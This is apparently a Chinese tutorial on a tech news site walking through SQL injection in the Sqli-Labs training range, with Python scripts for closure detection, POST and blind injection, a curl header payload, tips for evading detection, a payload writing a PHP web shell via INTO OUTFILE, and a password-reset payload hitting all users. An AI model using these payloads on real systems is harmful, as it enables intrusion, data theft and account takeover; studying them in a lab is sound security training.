news 2026/4/15 19:53:48

从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种典型场景(附脚本)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种典型场景(附脚本)

从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种典型场景(附脚本)

在Web安全领域,SQL注入始终是OWASP Top 10中的常客。不同于教科书式的理论讲解,本文将带您深入Sqli-Labs靶场,通过五个典型攻击场景的实战演示,揭示SQL注入从基础到高阶的完整攻击链。无论您是刚入门的安全测试工程师,还是希望提升实战能力的开发者,都能从中获得可直接复用的技术方案。

1. URL参数注入:GET请求的攻防博弈

GET请求作为Web应用最基础的交互方式,其参数直接暴露在URL中的特性使其成为SQL注入的首选目标。以Sqli-Labs Less-1为例,当看到?id=1返回用户数据时,有经验的安全人员会立即意识到可能存在字符拼接漏洞。

闭合方式判断的黄金法则

  1. 输入\观察报错信息(如\'提示单引号闭合)
  2. 尝试?id=1' --+验证闭合有效性
  3. 通过order by二分法确定字段数
# 自动化闭合检测脚本示例 import requests def detect_closure(target_url): test_chars = ["'", "\"", "')", "\")", "'))", "\"))"] for char in test_chars: payload = f"1{char} -- " r = requests.get(f"{target_url}?id={payload}") if "error" not in r.text: return char return None

联合查询的实战技巧

  • 使用-1'确保原查询返回空集
  • information_schema数据库是数据字典的钥匙
  • group_concat()与十六进制编码优化结果显示

注意:实际测试中应避免使用--+这类明显特征,可替换为#或URL编码后的注释符

2. POST表单注入:登录框背后的危险

从Less-11开始,攻击面转向POST请求。这类注入常出现在登录验证、搜索框等场景,相比GET注入更具隐蔽性。通过Burp Suite拦截修改请求,我们可以发现:

POST注入的三大特征

  1. 输入点可能在username/password等多个字段
  2. 错误信息可能被前端过滤
  3. 需要处理会话状态(如Cookie)
POST /Less-11/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin' union select 1,database()#&passwd=123&submit=Submit

自动化爆破表结构脚本

import requests from urllib.parse import quote def post_injection(target_url, payload): session = requests.Session() data = { "uname": quote(payload), "passwd": "test", "submit": "Submit" } return session.post(target_url, data=data).text

3. HTTP头注入:被忽视的攻击向量

Less-18到Less-22展示了更隐蔽的注入点——HTTP头部。这些场景模拟了真实环境中用户可控的UA、Referer、Cookie等头的处理漏洞。

头部注入的突破点

  • User-Agent:Web统计模块常记录此信息
  • X-Forwarded-For:IP地址伪造场景
  • Cookie:身份验证令牌处理不当
# 使用curl测试User-Agent注入 curl -H "User-Agent: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1" http://localhost/Less-18/

Base64编码绕过的技巧

import base64 def build_cookie_payload(sql): payload = f"admin' {sql} -- " return base64.b64encode(payload.encode()).decode()

4. 盲注技术:无回显场景的破局之道

当应用不返回具体错误信息时,布尔盲注和时间盲注成为唯一选择。Less-5和Less-8的对比展示了这两种技术的差异:

盲注类型选择矩阵

特征布尔盲注时间盲注
页面内容差异
适用场景条件响应统一响应
检测速度
典型Payloadand 1=1sleep(5)

时间盲注优化策略

  • 使用if(condition, sleep, null)减少请求量
  • 二分法加速字符猜解
  • 并行请求提升效率
# 时间盲注自动化脚本 import time def time_based_injection(url, payload): start = time.time() requests.get(f"{url}?id={payload}") return time.time() - start > 3

5. 二阶注入与文件导出:持久化攻击

Less-7的文件导出和Less-17的密码修改功能,展示了SQL注入如何引发更严重的后续攻击:

文件导出的关键条件

  1. 知道绝对路径(通过报错信息或配置文件泄露)
  2. 有文件写入权限(secure_file_priv设置)
  3. 能控制写入内容(避免被转义)
-- 导出WebShell的典型Payload ?id=1')) union select 1,"<?php system($_GET['cmd']);?>",3 into outfile "/var/www/html/shell.php" --+

二阶注入的隐蔽特性

  • 恶意数据先被存储后触发
  • 绕过即时检测机制
  • 常见于用户注册、评论等功能

在Less-17的密码重置功能中,攻击者可以构造:

' or 1=1#

这将导致所有用户密码被重置,而非仅修改目标账户。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 19:52:31

工业领域应用:cv_unet_image-colorization辅助SolidWorks模型渲染预览

工业领域应用&#xff1a;cv_unet_image-colorization辅助SolidWorks模型渲染预览 1. 引言 如果你是一位工业设计师或者机械工程师&#xff0c;对SolidWorks这款软件一定不会陌生。从复杂的装配体到精密的零件&#xff0c;我们大部分时间都在和灰色的线框、单调的渲染图打交道…

作者头像 李华
网站建设 2026/4/15 19:53:48

小白也能用的Pi0机器人控制:Web界面部署与使用全解析

小白也能用的Pi0机器人控制&#xff1a;Web界面部署与使用全解析 1. 项目介绍与核心价值 Pi0是一个革命性的视觉-语言-动作流模型&#xff0c;专为通用机器人控制设计。这个项目最大的特点就是提供了一个直观的Web界面&#xff0c;让没有编程基础的用户也能轻松控制机器人。 …

作者头像 李华
网站建设 2026/4/15 19:53:48

远程医疗系统:视频问诊与电子处方的实现

远程医疗系统&#xff1a;视频问诊与电子处方的实现 在数字化时代&#xff0c;远程医疗系统正逐渐改变传统就医模式。通过视频问诊与电子处方技术&#xff0c;患者无需亲临医院即可获得专业医疗服务&#xff0c;尤其为偏远地区或行动不便的人群提供了便利。这一创新不仅提升了…

作者头像 李华
网站建设 2026/4/14 12:50:59

网盘下载加速器:5个隐藏技巧让你的下载速度飙升300%

网盘下载加速器&#xff1a;5个隐藏技巧让你的下载速度飙升300% 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云…

作者头像 李华